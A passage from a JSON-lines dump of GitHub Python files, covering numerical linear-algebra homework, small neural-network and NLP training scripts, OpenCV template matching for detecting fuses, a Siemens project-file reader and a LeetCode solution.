broker='pyamqp://guest@localhost//')\n\n@periodic_task(run_every=timedelta(seconds=300))\ndef colect_insert_data():\n    \"\"\" Combine retrieved data, store data to database \"\"\"\n    video_ids_list = get_channel_video_ids(hard_channel_id)\n\n    for vid_id in video_ids_list:\n        data = get_video_data(vid_id, hard_channel_id, my_cursor)\n        tags = get_video_tags(vid_id)\n        data.update(tags)\n        insert_data(data, 'video_data', my_cursor, my_db)\ncolect_insert_data()\n","repo_name":"Rolandas1369/YTstats","sub_path":"retrieve_data/yt_data.py","file_name":"yt_data.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22978938403","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 28 17:05:29 2022\n@author: denni\n\"\"\"\nprint(\"\\n--------- Aufgabe 3 ---------\")\n# Python initialisieren :\nimport numpy as np\n#Parameter\n#a entspricht der linken Seite vom Gauss Schema, den Gleichungen\na = [[3,-2,5,0],\n    [4,5,8,1],\n    [1,1,2,1],\n    [2,7,6,5]]\n#b entspricht der rechten Seite vom Gauss Schema, den Lösungen\nb = [2,4,5,7]\n#Funktion\ndef LGLS_Gauss(a,b):\n    a = np.array(a, float)\n    b = np.array(b, float)\n    n = len(b)\n    x = np.zeros(n, float)\n    #Auslöschung pro zeile --> in der Diagonale die Nullen einsetzen\n    #Funktion läuft von der ersten Zeile 1 bis zur vorletzten Zeile n-1\n    for k in range(n-1):\n        #i ist der Index für Zeilen unter den bereits berechneten Zeilen\n        #Funktion läuft von der zweiten Zeile k+1  bis zur letzten Zeile n\n        for i in range(k+1, n):\n            #falls der Wert bereits 0 ist wird zur nächsten Zeile gewechselt\n            if a[i, k] == 0: continue\n            factor = a[k, k]/a[i, k]\n            #j ist der Index für die Spalte\n            #Funktion läuft jeweils mit der bereits berechneten Zeile k bis n\n            for j in range(k, n):\n                #Berechnung der Auslöschung\n                a[i, j] = a[k, j] - a[i, j]*factor\n            #Berechnung der Auslöschung für die Lösungswerte (rechte Seite vom Gauss Schema)\n            b[i] = b[k] - b[i]*factor\n    \n    #Rückwärts einsetzen der Werte\n    #Loop geht rückwärts, daher entsprechend die Werte für die Schlaufe verringern\n    x[n-1] = b[n-1] / a[n-1, n-1]\n    for i in range(n-2, -1, -1):\n        sum_ax = 0\n        for j in range(i+1, n):\n            sum_ax += a[i, j] * x[j]\n        x[i] = (b[i] - sum_ax) / a[i, i]\n    return b, a, x\ndef LGLS_GaussJordan(a, b, tol=-1):\n    '''\n    Beim Gauss Jordan wird pro Spalte die Werte bereits für die Auslöschung berechnet\n    Sprich es wird jeweils auf 0 gesetzt mit Hilfe der Auslöschung gemäss Gauss\n    '''\n    a = np.array(a, float)\n    b = np.array(b, float)\n    n = len(b)\n    G = np.c_[a, b]\n    if tol < 0:\n        tol = np.max(G.shape)*np.linalg.norm(G,ord=np.inf)*np.finfo(np.float64).eps\n    #print(tol)\n    for k in range(n):\n        #partielles Pivotieren\n        if np.fabs(a[k, k-1]) < tol:\n            for i in range(k+1, n):\n                if np.fabs(a[i, k]) > np.fabs(a[k, k]):\n                    for j in range(k, n):\n                       a[k, j], a[i, j] = a[i, j], a[k, j]\n                    b[k], b[i] = b[i], b[k]\n                    break\n        #Divison Pivot Zeile\n        pivot = a[k, k]\n        for j in range(k, len(a[k])):\n            print(a[k,j])\n            a[k, j] /= pivot\n        b[k] /= pivot\n        #Auschlöschung Loop\n        for i in range(n):\n            if i == k or a[i, k] == 0: continue\n            factor = a[i, k]\n            for j in range(k, len(a[k])):\n                a[i, j] -= factor * a[k, j]\n            b[i] -= factor * b[k]        \n    return b, a\nX, A, sol = LGLS_Gauss(a, b)\nprint(f\"Ergebnisse Matrix b LGLS:\\n {X}\")\nprint(f\"Matrix A Gauss:\\n {A}\")\nprint(f\"Lösung LGLS --> x Werte:\\n {sol}\")\nprint('\\n-----------------------------\\n')\nprint(\"\\n--------- Aufgabe 5 ---------\")\n#Parameter:\na = [[2, 1, 0, 2],\n    [4, 2, 3, 3],\n    [-2, -1, 6, -4],\n    [-8, -4, 9, -11],\n    [2, 1, -3, 3]]\nb = [6, 16, 2, -12, 2]\n# a = [[0,2,0,1], [2,2,3,2], [4,-3,0,1], [6,1,-6,-5]]\n# b = [0,-2,-7,6]\nX, A = LGLS_GaussJordan(a, b)\nprint(f\"Lösung LGLS --> x Werte:\\n {X}\")\nprint(f\"Matrix A Gauss Jordan:\\n {A}\")","repo_name":"glaand/fhgr-numerische-methoden-python-skripts","sub_path":"extra/dennis_gauss.py","file_name":"dennis_gauss.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9261834769","text":"from dbfread import DBF\nfrom SiemensToolBox.SimaticDataTypes import StationType, StationConfigurationFolder\n\n\"\"\"from projectFiles import Step7ProjectV5\"\"\"\n\n\ndef getAllProjectStations(projectFolder):\n\n\n    dbf = DBF(f\"{projectFolder}\\\\hOmSave7\\\\s7hstatx\\\\HOBJECT1.DBF\",raw=True)\n    stations = dict()\n\n    for row in dbf.records:\n        if StationType.has_value(int(row[\"OBJTYP\"])):\n            station = StationConfigurationFolder(int(row[\"OBJTYP\"]))\n\n            station.Name = str(row[\"NAME\"].decode(\"ISO-8859-1\").replace(\"\\0\", \"\").strip())\n            station.ID = int(row[\"ID\"])\n            station.UnitID = int(row[\"UNITID\"])\n            stations[station.ID] = station\n    return stations\n","repo_name":"EspenEnes/PythonSiemensToolBoxLibrary","sub_path":"SiemensToolBox/Step7V5/getAllProjectStations.py","file_name":"getAllProjectStations.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26484043410","text":"import numpy as np\nimport random as ra\nimport pandas as pd\nimport matplotlib.pyplot as pyplot\npd.set_option('display.max_rows', 500)\npd.set_option('display.max_columns', 500)\npd.set_option('display.width', 1000)\nnp.set_printoptions(suppress=True)\nimport time\n\n\n\n\n\n############################################################################\n# HELP Functions:\ndef print_dict(dict):\n  for key, value in dict.items():\n    print(key, ' : \\n', value)\n    \n############################################################################\n# KNN Functions:\ndef sigmoid(s):\n  return 1.0 / (1.0 + np.exp(-s))\n\n\ndef forward(network, print_details = False):\n  network[\"IN_01\"] = network[\"X\"].T\n  network[\"OUT_01\"] = sigmoid((network[\"W_01\"] @ network[\"IN_01\"]))\n  network[\"IN_12\"] = network[\"OUT_01\"]\n  network[\"IN_12\"][0] = np.ones(len(network[\"IN_12\"][0]))\n  network[\"OUT_12\"] = sigmoid((network[\"W_12\"] @ network[\"IN_12\"]))\n  network[\"error\"] =  network[\"Y\"].T - network[\"OUT_12\"]\n  \n  if print_details:\n    for i in range(len(network[\"X\"])):\n      print(network[\"X\"][i],  network[\"Y\"][i][1], \" -> \", network[\"OUT_12\"].T[i][1])\n  return(network)\n\n\ndef backward(network, eta):\n  network[\"grad_12\"] = network[\"OUT_12\"] * (1-network[\"OUT_12\"]) * network[\"error\"]\n  network[\"grad_01\"] = network[\"OUT_01\"] * (1-network[\"OUT_01\"]) * (network[\"W_12\"].T @ network[\"grad_12\"])\n  \n  network[\"new_W_01\"] = network[\"W_01\"] + eta * (network[\"grad_01\"] @ network[\"IN_01\"].T)\n  network[\"new_W_12\"] = network[\"W_12\"] + eta * (network[\"grad_12\"] @ network[\"IN_12\"].T)\n  return(network)\n\n\ndef fit_all(X, Y, W_01, W_12, eta = 0.03, n_iterations = 5000, print_network = False, print_error=False, print_details=False):\n  # Init Values\n  start_timer = time.time()\n  losses = []\n  network = {\"X\":[] ,\"IN_01\":[], \"W_01\":[], \"OUT_01\":[], \"IN_12\":[], \"W_12\":[], \"OUT_12\":[], \"Y\":[], \"error\":[], \"loss\":[], \"grad_01\":[], \"grad_12\":[], \"new_W_01\":[], \"new_W_12\":[]}\n  network.update({\n  \"new_W_01\":W_01, \n  \"new_W_12\":W_12})\n  \n  for i in range(n_iterations):\n    network.update({\"X\":X, \"Y\":Y, \"W_01\":network[\"new_W_01\"], \"W_12\":network[\"new_W_12\"]})\n    network = forward(network, print_details=print_details)\n     \n    losses.append(np.sum(0.5 * (network[\"error\"]) ** 2))\n    if print_error:\n      print(losses[-1])\n     \n    network = backward(network, eta)\n     \n    if print_network:\n      print_dict(network)\n     \n  time_used = time.time() - start_timer\n  return network, losses, time_used\n\n\ndef fit_one(X, Y, W_01, W_12, eta = 0.03, n_iterations = 5000, print_network = False, print_error=False, print_details=False):\n  # Init Values\n  start_timer = time.time()\n  losses = []\n  network = {\"X\":[] ,\"IN_01\":[], \"W_01\":[], \"OUT_01\":[], \"IN_12\":[], \"W_12\":[], \"OUT_12\":[], \"Y\":[], \"error\":[], \"loss\":[], \"grad_01\":[], \"grad_12\":[], \"new_W_01\":[], \"new_W_12\":[]}\n  network.update({\n  \"new_W_01\":W_01, \n  \"new_W_12\":W_12})\n  \n  for i in range(n_iterations):\n    temp_errors = []\n    for k in range(len(X)):\n      \n      network.update({\"X\":X[[k]], \"Y\":Y[[k]], \"W_01\":network[\"new_W_01\"], \"W_12\":network[\"new_W_12\"]})\n      network = forward(network, print_details=print_details)\n     \n      temp_errors.append( 0.5 * (network[\"error\"]) ** 2 )\n      \n      network = backward(network, eta)\n      \n      if print_network:\n        print_dict(network)\n        \n    losses.append(np.sum(temp_errors))\n    if print_error:\n      print(losses[-1])\n    \n  time_used = time.time() - start_timer\n  return network, losses, time_used\n\n\n############################################################################\n# KNN DATA:\nX = np.array([\n  [1.0,1.0,1.0],\n  [1.0,0.0,1.0],\n  [1.0,1.0,0.0],\n  [1.0,0.0,0.0]]) \n\nY = np.array([\n  [1.0,0.0], \n  [1.0,1.0], \n  [1.0,1.0], \n  [1.0,0.0]]) \n\nW_01 = np.array([\n  [-0.251, 0.901, 0.464], \n  [0.197, -0.688, -0.688], \n  [-0.884, 0.732, 0.202]])\n\nW_12 = np.array([\n  [0.416, -0.959, 0.940], \n  [0.665, -0.575, -0.636]])\n  \n# W_01 = np.random.random((3,3))\n# W_12 = np.random.random((2,3)) \n############################################################################\n# CALL KNN_all (iterate over all rows in trainingdata at the same time)\nnetwork_all, losses_all, time_all = fit_all(\n  X = X, Y = Y, W_01 = W_01, W_12 = W_12, eta = 0.03, n_iterations = 40000, print_network = False, print_error=False, print_details=False)    \n  \nprint(\"All that network_all info....:\\n\")\nprint_dict(network_all)\nprint(\"Time network_all: \", time_all)\nprint(\"Error network_all: \", losses_all[-1])\n\n############################################################################\n# CALL KNN_one (iterate over each row in trainingdata\nnetwork_one, losses_one, time_one = fit_one(\n  X = X, Y = Y, W_01 = W_01, W_12 = W_12, eta = 0.03, n_iterations = 40000, print_network = False, print_error=False, print_details=False)   \n\nprint(\"All that network_one info....:\\n\")\nprint_dict(network_one)\nprint(\"Time network_one: \", time_one)\nprint(\"Error network_one: \", losses_one[-1])\n\n\n\n############################################################################\n# CHARTS\n\ndef plot_error(errors, title):\n  x = list(range(len(errors)))\n  y = np.array(errors)\n  pyplot.figure(figsize=(6,6))\n  pyplot.plot(x, y, \"g\", linewidth=1)\n  pyplot.xlabel(\"Iterations\", fontsize = 16)\n  pyplot.ylabel(\"Mean Square Error (all)\", fontsize = 16)\n  pyplot.title(title)\n  pyplot.ylim(0,1)\n  pyplot.show()\n\n\n\nplot_error(losses_all, \"fit_all\\nlast error: \"+str(round(losses_all[-1],6))+\"\\ntime: \"+str(round(time_all,2)))\n\nplot_error(losses_one, \"fit_one\\nlast error: \"+str(round(losses_one[-1],6))+\"\\ntime: \"+str(round(time_one,2)))\n\n\n\n","repo_name":"AxelCode-R/Finance-Project-HFT","sub_path":"Abgabe 2/Abgabe_2_v3_richtig.py","file_name":"Abgabe_2_v3_richtig.py","file_ext":"py","file_size_in_byte":5567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41118622449","text":"class Solution:\n    '''\n    CASE 0\n    nums = [4,5,2,1]\n    quries = [3,10,21]\n    output = [2,3,4]\n\n    CASE 1\n    nums = [2,3,4,5]\n    quries = [1]\n    output = [0]\n\n    Runtime: 339 ms, faster than 52.03% \n    Memory Usage: 14.2 MB, less than 41.46%\n     '''\n    \n    def answerQueries(self, nums: List[int], queries: List[int]) -> List[int]:\n        nums.sort()\n        answer = []\n        \n        def subQueries(q: int) -> int:\n            sum = 0\n            for i in range(len(nums)):\n                sum += nums[i]\n                if q < sum :\n                    return i\n            return len(nums)\n            \n        for elements in queries:\n            answer.append(subQueries(elements))\n\n        return answer","repo_name":"KanuKim97/Algorithm","sub_path":"leetCode/Easy/2389_Longest Subsequence With Limited Sum.py","file_name":"2389_Longest Subsequence With Limited Sum.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"28939429682","text":"import os\nfrom MTM import matchTemplates, drawBoxesOnRGB\nimport cv2\nimport numpy as np\n\nroi_temp_path = './template_image/template_roi/0.jpg'     # roi区域模板图\ndatamatrix_temp_path = './template_image/template_roi/datamatrix_template.jpg'      # datamatrix的template\nfuse_temp_path = './template_image/template_fuse/'\ntemp_roi = cv2.imread(roi_temp_path, 0)\ndatamatrix_temp_roi = cv2.imread(datamatrix_temp_path, 0)\n\ndef readTemplates(temp_path):\n    \"\"\"用于读取检测的保险丝模板\"\"\"\n    listTemplate = []\n    folder_list = os.listdir(temp_path)\n    for folder in folder_list:\n        folder_path = os.path.join(temp_path, folder + '/')\n        file_list = os.listdir(folder_path)\n        for file in file_list:\n            filepath = os.path.join(folder_path, file)\n            # print(filepath)\n            temp = cv2.imread(filepath, 0)  # 读取每个模板\n            listTemplate.append((folder, temp))\n    return listTemplate\n\n\ndef detect_fuse(image):\n    \"\"\"用于检测图片中的保险丝\"\"\"\n    listTemplate = readTemplates(fuse_temp_path)\n    for i, index in enumerate([2, 5, 10, 15, 20, 30]):\n        if index == 30:\n            for k_num in range(4):\n                rotated = np.rot90(listTemplate[i][1], k=k_num)  # NB: np.rotate not good here, turns into float!\n                listTemplate.append((str(index), rotated))\n        else:\n            rotated = np.rot90(listTemplate[i][1], k=2)  # NB: np.rotate not good here, turns into float!\n            listTemplate.append((str(index), rotated))\n    # score_threshold 用于设置置信度\n    Hits = matchTemplates(listTemplate, image, score_threshold=0.45, method=cv2.TM_CCOEFF_NORMED, maxOverlap=0.3)\n    Overlay = drawBoxesOnRGB(image, Hits, showLabel=True)\n    return Overlay, Hits  # 返回输出图片和结果信息\n\n\ndef detect_roi(image):\n    \"\"\"用于检测图片中的保险丝盒区域\"\"\"\n    listTemplate = [('roi', temp_roi)]\n    Hits = matchTemplates(listTemplate, image, score_threshold=0.03, method=cv2.TM_CCOEFF_NORMED, maxOverlap=0.2)\n    bbox = Hits['BBox'][0]\n    # Overlay = drawBoxesOnRGB(image, Hits, showLabel=True)\n    return bbox\n\n\ndef detect_datamatrix_roi(image):\n    \"\"\"用于检测图片中的二维码区域\"\"\"\n    listTemplate = [('roi', datamatrix_temp_roi)]\n    Hits = matchTemplates(listTemplate, image, score_threshold=0.3, method=cv2.TM_CCOEFF_NORMED, maxOverlap=0.2)\n    try:\n        bbox = Hits['BBox'][0]\n        Overlay = drawBoxesOnRGB(image, Hits, showLabel=True)\n    except IndexError:\n        bbox = ()\n    return bbox\n\n\ndef detect_fuse_line1(image):\n    \"\"\"用于检测图片中的保险丝盒第1行\"\"\"\n    width = image.shape[0]\n    length = image.shape[1]\n    length_unit = int(length / 15)\n    fuse_list = []\n    for i in range(14):\n        result_line1 = image[0:int(width / 3.5), int(length_unit * (i + 0.3)): int(length_unit * (i + 1.7))]\n        result, result_info = detect_fuse(result_line1)\n        if result_info.empty == False:\n            '''tolist 可以不带索引名输出'''\n            if len(result_info.loc[:, 'TemplateName'].tolist()) == 1:\n                fuse_list.append(result_info.loc[:, 'TemplateName'].tolist()[0])  # 区域内只有一个保险丝\n            else:\n                print('Error! ' + str(len(result_info.loc[:, 'TemplateName'].tolist())) + ' outcomes in location line1_' + str(i + 1))  # 区域内有多个保险丝\n                print(result_info.loc[:, 'TemplateName'].tolist())\n                fuse_list.append('X')\n        else:\n            fuse_list.append('0')\n\n    return fuse_list\n\n\ndef detect_fuse_line2(image):\n    \"\"\"用于检测图片中的保险丝盒第2行\"\"\"\n    width = image.shape[0]\n    length = image.shape[1]\n    length_unit = int(length / 15)\n    fuse_list = []\n    for i in range(4):\n        result_line2 = image[int(width / 4): int(2* width/4), int(length_unit * (i + 0.3)): int(length_unit * (i + 1.7))]\n        result, result_info = detect_fuse(result_line2)\n        # cv2.imshow(str(i), result)\n        # cv2.waitKey(0)\n        if result_info.empty == False:\n            '''tolist 可以不带索引名输出'''\n            if len(result_info.loc[:, 'TemplateName'].tolist()) == 1:\n                fuse_list.append(result_info.loc[:, 'TemplateName'].tolist()[0])  # 区域内只有一个保险丝\n            else:\n                print('Error! ' + str(len(result_info.loc[:, 'TemplateName'].tolist())) + 'outcomes in location '\n                                                                                          'line2_' + str(i + 1))\n                # 区域内有多个保险丝\n                print(result_info.loc[:, 'TemplateName'].tolist())\n                fuse_list.append('X')\n        else:\n            fuse_list.append('0')\n\n    for j in range(4, 8):\n        length_unit_big = int(length / 9)\n        result_line2 = image[int(width / 4): int(2 * width / 4),\n                       int(length_unit_big * (j - 1.3)): int(length_unit_big * (j - 0.3))]\n        result, result_info = detect_fuse(result_line2)\n        # cv2.imshow(str(j), result)\n        # cv2.waitKey(0)\n        if result_info.empty == False:\n            '''tolist 可以不带索引名输出'''\n            temp_fuse_list = result_info.loc[:, 'TemplateName'].tolist()  # 存放具有两个30的大块保险丝标签\n            # print(temp_fuse_list)\n            if len(temp_fuse_list) == 1:\n                fuse_list.append(temp_fuse_list[0])  # 区域内只有一个保险丝\n            elif len(temp_fuse_list) == 2 and temp_fuse_list[0] == '30':\n                # print(temp_fuse_list)\n                fuse_list.append(temp_fuse_list[0])  # 区域内有两个保险丝，但是都是30\n            else:\n                print('Error! ' + str(len(result_info.loc[:, 'TemplateName'].tolist())) + 'outcomes in location '\n                                                                                          'line2_' + str(j + 1))  #\n                # 区域内有多个保险丝\n                print(temp_fuse_list)\n                cv2.imshow('temp', result)\n                cv2.waitKey(0)\n                fuse_list.append('X')\n        else:\n            fuse_list.append('0')\n\n    return fuse_list\n\n\ndef detect_fuse_line3(image):\n    \"\"\"用于检测图片中的保险丝盒第3行\"\"\"\n    width = image.shape[0]\n    length = image.shape[1]\n    length_unit = int(length / 15)\n    fuse_list = []\n    r = [range(0, 2), range(6, 8)]\n    for small_range in r:\n        for i in small_range:\n            result_line3 = image[int(2 * width / 4):int(3 * width / 4), int(length_unit * (i + 0.3)): int(length_unit * (i + 1.7))]\n            result, result_info = detect_fuse(result_line3)\n            # cv2.imshow(str(i),result)\n            # cv2.waitKey(0)\n            if result_info.empty == False:\n                '''tolist 可以不带索引名输出'''\n                if len(result_info.loc[:, 'TemplateName'].tolist()) == 1:\n                    fuse_list.append(result_info.loc[:, 'TemplateName'].tolist()[0])  # 区域内只有一个保险丝\n                else:\n                    print('Error! ' + str(len(result_info.loc[:, 'TemplateName'].tolist())) + ' outcomes in location line3_' + str(i + 1))  # 区域内有多个保险丝\n                    print(result_info.loc[:, 'TemplateName'].tolist())\n\n                    fuse_list.append('X')\n            else:\n                fuse_list.append('0')\n\n    return fuse_list\n\n\ndef detect_fuse_line4(image):\n    \"\"\"用于检测图片中的保险丝盒第4行\"\"\"\n    width = image.shape[0]\n    length = image.shape[1]\n    length_unit = int(length / 15)\n    fuse_list = []\n    r = [range(0, 2), range(6, 8)]\n    for small_range in r:\n        for i in small_range:\n            result_line4 = image[int(2.8 * width / 4): width, int(length_unit * (i + 0.3)): int(length_unit * (i + 1.7))]\n            result, result_info = detect_fuse(result_line4)\n            # cv2.imshow(str(i),result)\n            # cv2.waitKey(0)\n            if result_info.empty == False:\n                '''tolist 可以不带索引名输出'''\n                if len(result_info.loc[:, 'TemplateName'].tolist()) == 1:\n                    fuse_list.append(result_info.loc[:, 'TemplateName'].tolist()[0])  # 区域内只有一个保险丝\n                else:\n                    print('Error! ' + str(len(result_info.loc[:, 'TemplateName'].tolist())) + ' outcomes in location line4_' + str(i + 1))  # 区域内有多个保险丝\n                    print(result_info.loc[:, 'TemplateName'].tolist())\n\n                    fuse_list.append('X')\n            else:\n                fuse_list.append('0')\n\n    return fuse_list\n\n\ndef change_list_to_matrix(temp_fuse_list):\n    \"\"\"用于将检测结果转换为包含0和1的矩阵\"\"\"\n    fuse_matrix = []\n    fuse_matrix_line1 = []\n    fuse_matrix_line2 = []\n    fuse_matrix_line3 = []\n    fuse_matrix_line4 = []\n    for i in range(14):\n        if temp_fuse_list[0][i] != '0':\n            fuse_matrix_line1.append(1)\n        else:\n            fuse_matrix_line1.append(0)\n    for j in range(8):\n        if temp_fuse_list[1][j] != '0':\n            fuse_matrix_line2.append(1)\n        else:\n            fuse_matrix_line2.append(0)\n    for k in range(4):\n        if temp_fuse_list[2][k] != '0':\n            fuse_matrix_line3.append(1)\n        else:\n            fuse_matrix_line3.append(0)\n    for l in range(4):\n        if temp_fuse_list[3][l] != '0':\n            fuse_matrix_line4.append(1)\n        else:\n            fuse_matrix_line4.append(0)\n    fuse_matrix.append(fuse_matrix_line1)\n    fuse_matrix.append(fuse_matrix_line2)\n    fuse_matrix.append(fuse_matrix_line3)\n    fuse_matrix.append(fuse_matrix_line4)\n    return fuse_matrix\n\n\ndef compare_list(detect_list, template_list, file):\n    if detect_list == template_list:\n        print(file, 'True')\n    else:\n        print(file, 'False')\n\n\n","repo_name":"ZhuLiyun2000/detect-fuse","sub_path":"template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":9851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"26213181897","text":"# Use scikit-learn to grid search the batch size and epochs\nimport numpy\nfrom sklearn.model_selection import GridSearchCV\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.wrappers.scikit_learn import KerasClassifier\n\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom keras.callbacks import Callback\nfrom keras import backend\n\nfrom prepareData import dataLoader\nimport localConfig as cfg\n\nimport argparse\nimport sys\n\n## Input arguments. Pay speciall attention to the required ones.\nparser = argparse.ArgumentParser(description='Process the command line options')\nparser.add_argument('-i', '--iteration', type=int, default=1, help='Iteration number i')\nparser.add_argument('-v', '--verbose', action='store_true', help='Whether to print verbose output')\n\nargs = parser.parse_args()\niteration = args.iteration\n\nverbose = 0\nif args.verbose:\n    verbose = 1\n\n# Naming the Model\nname =\"GS_Model_Ver_\"+str(iteration)\n\n# lgbk = \"/home/t3atlas/ev19u056/projetoWH/\"\ntestpath = cfg.lgbk+\"GridSearch/\"\nfilepath = cfg.lgbk+\"GridSearch/\"+name+\"/\"\n\nif os.path.exists(filepath) == False:\n    os.mkdir(filepath)\n\n# Function to create model, required for KerasClassifier\ndef create_model():\n    compileArgs = {'loss': 'binary_crossentropy', 'optimizer': 'adam', 'metrics': [\"accuracy\"]}\n    neurons = 71\n    layers = 4\n    model = Sequential()\n    model.add(Dense(neurons, input_dim=53, kernel_initializer='he_normal', activation='relu'))\n    #model.add(Dropout(dropout_rate))\n    for i in range(0,layers-1):\n        model.add(Dense(neurons, kernel_initializer='he_normal', activation='relu'))\n        #model.add(Dropout(dropout_rate))\n    model.add(Dense(nOut, activation=\"sigmoid\", kernel_initializer='glorot_normal'))\n    model.compile(**compileArgs)\n    return model\n\n# fix random seed for reproducibility\nseed = 7\nnumpy.random.seed(seed)\n\n# load dataset\ndataDev, dataVal, dataTest, XDev, YDev, weightDev, XVal, YVal, weightVal, XTest, YTest, weightTest = dataLoader(filepath+\"/\", model_name, fraction)\n\n# create model\nlrm = LearningRateMonitor()\ncallbacks = [EarlyStopping(patience=15, verbose=True),\n                ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=10, verbose=True, cooldown=1, min_lr=0), # argument min_delta is not supported\n                ModelCheckpoint(filepath+name+\".h5\", save_best_only=True, save_weights_only=True), lrm]\nmodel = KerasClassifier(build_fn=create_model, verbose=0)\n\n# define the grid search parameters\n# --- tune BATCH SIZE and NUMBER OF EPOCHS --- #\nbatch_size = [100, 200, 500, 1000, 2000, 3000, 10000, 20000]\nparam_grid = dict(batch_size=batch_size, epochs=epochs)\ngrid = GridSearchCV(estimator=model, param_grid=param_grid, n_jobs=-1)\n\nif args.verbose:\n    print(\"Dir \"+filepath+\" created.\")\n    print(\"Starting the training\")\n    start = time.time()\ngrid_result = grid.fit(X, Y)\n\n# summarize results\nprint(\"Best: %f using %s\" % (grid_result.best_score_, grid_result.best_params_))\nmeans = grid_result.cv_results_['mean_test_score']\nstds = grid_result.cv_results_['std_test_score']\nparams = grid_result.cv_results_['params']\nfor mean, stdev, param in zip(means, stds, params):\n    print(\"%f (%f) with: %r\" % (mean, stdev, param))\n","repo_name":"ev19u056/projetoWH","sub_path":"gridSearch.py","file_name":"gridSearch.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2488110799","text":"#! -*- coding:utf-8 -*-\nimport numpy as np\nimport tensorflow as tf\nfrom data_process import Token, get_input, id2predicate\nimport json\n\ntrain_data = json.load(open('./data_trans/train_data_me.json', encoding='utf-8'))\ndev_data = json.load(open('./data_trans/dev_data_me.json', encoding='utf-8'))\n\nnum_class = 49\nlr = 0.001\nnum_epochs = 20\nbatch_size = 32\n\nclass data_loader():\n    def __init__(self):\n        self.input_x, self.input_ner1, self.input_ner2, self.input_re1, self.input_re2, self.p_s, self.p_e = get_input(train_data)\n        self.input_x = self.input_x.astype(np.int32)\n        self.input_ner1 = self.input_ner1.astype(np.int32)\n        self.input_ner2 = self.input_ner2.astype(np.int32)\n        self.input_re1 = self.input_re1.astype(np.float32)\n        self.input_re2 = self.input_re2.astype(np.float32)\n        self.p_s = self.p_s.astype(np.int32)\n        self.p_e = self.p_e.astype(np.int32)\n        self.num_train = self.input_x.shape[0]\n        self.db_train = tf.data.Dataset.from_tensor_slices((self.input_x, self.input_ner1, self.input_ner2, self.input_re1, self.input_re2, self.p_s, self.p_e))\n        self.db_train = self.db_train.shuffle(self.num_train).batch(batch_size, drop_remainder=True)\n\n    def get_batch(self, batch_s):\n        indics = np.random.randint(0, self.num_train, batch_s)\n        return self.input_x[indics], self.input_ner1[indics], self.input_ner2[indics], self.input_re1[indics], self.input_re2[indics], self.p_s[indics], self.p_e[indics]\n\n\nclass Ner_model(tf.keras.Model):\n    def __init__(self):\n        super(Ner_model, self).__init__()\n        self.char_embedding = tf.keras.layers.Embedding(4996, 64, mask_zero=True)\n        self.bi_gru = tf.keras.layers.Bidirectional(tf.keras.layers.GRU(64, return_sequences=True))\n        self.dense_1 = tf.keras.layers.Dense(1)\n        self.dense_2 = tf.keras.layers.Dense(1)\n\n    def call(self, inputs):\n        x = self.char_embedding(inputs)\n        mask = self.char_embedding.compute_mask(inputs)\n        x_gru = self.bi_gru(x, mask=mask)\n        x_1 = tf.nn.sigmoid(self.dense_1(x_gru))\n        x_2 = tf.nn.sigmoid(self.dense_2(x_gru))\n        return x_1, x_2, x_gru\n\n\nclass ER_model(tf.keras.Model):\n    def __init__(self):\n        super(ER_model, self).__init__()\n        self.dense_1 = tf.keras.layers.Dense(num_class)\n        self.dense_2 = tf.keras.layers.Dense(num_class)\n        self.average = tf.keras.layers.Average()\n\n    def call(self, x_lstm, position_s, position_e):\n        add_encode = np.zeros_like(x_lstm)\n        for i, k in enumerate(position_s):\n            gru_v = x_lstm[i, :, :]\n            v_s = gru_v[k, :]\n            v_e = gru_v[position_e[i], :]\n            v_subject = self.average([v_s, v_e])\n            add_encode[i, k, :] = v_subject\n            add_encode[i, position_e[i], :] = v_subject\n\n        x = x_lstm + add_encode\n        output1 = tf.sigmoid(self.dense_1(x))\n        output2 = tf.sigmoid(self.dense_2(x))\n        return output1, output2\n\n\ndef loss_function(y_1, y_2, y_re1, y_re2, input_ner1, input_ner2, input_re1, input_re2):\n    input_ner1 = tf.expand_dims(input_ner1, 2)\n    loss_ner1 = tf.keras.losses.binary_crossentropy(y_true=input_ner1, y_pred=y_1)\n    loss_ner1 = tf.reduce_sum(loss_ner1)\n\n    input_ner2 = tf.expand_dims(input_ner2, 2)\n    loss_ner2 = tf.keras.losses.binary_crossentropy(y_true=input_ner2, y_pred=y_2)\n    loss_ner2 = tf.reduce_sum(loss_ner2)\n\n    loss_re1 = tf.reduce_sum(tf.keras.losses.binary_crossentropy(y_true=input_re1, y_pred=y_re1), axis=-1, keepdims=True)\n    loss_re1 = tf.reduce_sum(loss_re1)\n\n    loss_re2 = tf.reduce_sum(tf.keras.losses.binary_crossentropy(y_true=input_re2, y_pred=y_re2), axis=-1, keepdims=True)\n    loss_re2 = tf.reduce_sum(loss_re2)\n    loss = (loss_ner1 + loss_ner2) + (loss_re1 + loss_re2)\n\n    return loss, (loss_ner1 + loss_ner2), (loss_re1 + loss_re2)\n\n\nclass Extra_result(object):\n    def __init__(self, text):\n        self.text = text\n    def call(self):\n        result = []\n        token = np.zeros(len(self.text))\n        text2id = Token(self.text)\n        token[0:len(text2id)] = text2id\n        Model_ner = model_Ner\n        Model_er = model_Er\n        ner1, ner2, out_lm = Model_ner(np.array([token], dtype=np.int32))\n        subjects = self.extra_sujects(ner1, ner2)\n        for i, key in enumerate(subjects):\n            ids1 = key[1]\n            ids2 = key[2]\n            re1, re2 = Model_er(out_lm, np.array([ids1], 